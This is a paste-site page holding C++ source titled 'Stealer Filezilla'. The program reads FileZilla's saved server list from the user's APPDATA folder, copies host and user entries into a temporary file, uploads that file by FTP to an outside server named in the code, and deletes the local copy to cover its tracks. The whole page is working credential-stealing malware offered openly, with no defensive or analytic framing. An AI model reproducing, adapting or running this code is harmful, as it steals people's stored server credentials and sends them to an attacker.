appo icon

Stealer Filezilla

appo | PRO | 12/27/13 11:10:47 PM UTC | 0 ⭐ | 663 👁️ | Never ⏰ | []
C++ |

1.78 KB

|

None

|

0 👍

/

0 👎

#include "stdafx.h"
#include <iostream>
#include <string> 
#include <fstream >
 
 
#include <windows.h>
#include <wininet.h>
#pragma comment (lib, "wininet")
 
using namespace std;
 
void upload(LPCSTR server, LPCSTR login, LPCSTR pass, LPCSTR local_file, LPCSTR remote_file)
{
    HINTERNET hOpen, hConnection;
   
    hOpen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    
    hConnection = InternetConnectA(hOpen, server, INTERNET_DEFAULT_FTP_PORT,login, pass, INTERNET_SERVICE_FTP, 0, 0);                
    if(FtpPutFileA(hConnection, local_file, remote_file, FTP_TRANSFER_TYPE_ASCII, 0))
                  cout << "Success Story" << endl;
    else
        cout << "Epic Fail!" << endl;
                 
    InternetCloseHandle(hConnection);
    InternetCloseHandle(hOpen);
}
 
int main()
{   
    string appdata = getenv ( "APPDATA" );
    appdata+="\\FileZilla\\recentservers.xml";
    ifstream f(appdata);
 
    string s;
 
    string tmp = getenv ( "TMP" );
    tmp+="\\super_stealer.txt";
    ofstream f2(tmp);
 
    while(!f.eof())
    {
        
        f >> s;
        //cout << s << endl;
        if(s.find("<Server>")<s.size())
        {
            f >> s;
            //cout << s << endl;    // I am a Hindu
            f2 << s << endl;
 
            f >> s;
            //cout << s << endl;    
            f2 << s << endl;
 
            while(!(s.find("</Server>")<s.size()))
            {
                f >> s;
                if(s.find("<User>")<s.size())
                {
                    //cout << s << endl;    // I am a Hindu
                    f2 << s << endl;
 
                    f >> s;
                    //cout << s << endl;
                    f2 << s << endl;
                    //cout << "---------------" << endl;
                    f2 << "---------------" << endl;
                    break;
                }
                
            }
        }
        
    }
 
    f.close();
    f2.close();
    
 
    upload("appo.pro","user","name", tmp.c_str(), "//_smth_log_name.txt");
    DeleteFileA(tmp.c_str());
 
    system("pause");
    return 0;
}
 
// Coded by Appo //

Comments